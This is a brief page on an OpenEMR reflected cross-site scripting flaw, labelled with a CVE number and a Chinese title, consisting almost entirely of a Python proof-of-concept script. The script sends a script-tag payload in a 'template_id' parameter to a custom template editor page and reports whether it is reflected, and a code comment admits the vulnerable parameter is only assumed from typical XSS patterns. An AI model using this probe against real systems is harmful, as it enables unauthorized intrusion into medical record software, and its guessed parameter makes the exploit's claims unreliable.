CVE-2026-33933 OpenEMR 反射型XSS漏洞

import requests # Target URL structure for the custom template editor target_url = "http://target-openemr.com/interface/main/custom_template.php" # Malicious JavaScript payload payload = "<script>alert('CVE-2026-33933 confirmed');</script>" # Parameters to inject (assuming a vulnerable parameter based on typical XSS patterns) params = { "template_id": payload } try: # Send request simulating a victim clicking the link response = requests.get(target_url, params=params, timeout=10) # Verify if the payload is reflected in the response without proper encoding if payload in response.text: print(f"[+] Vulnerability Confirmed!") print(f"[+] Exploit URL: {response.url}") else: print("[-] Payload not reflected or patched.") except Exception as e: print(f"Error: {e}")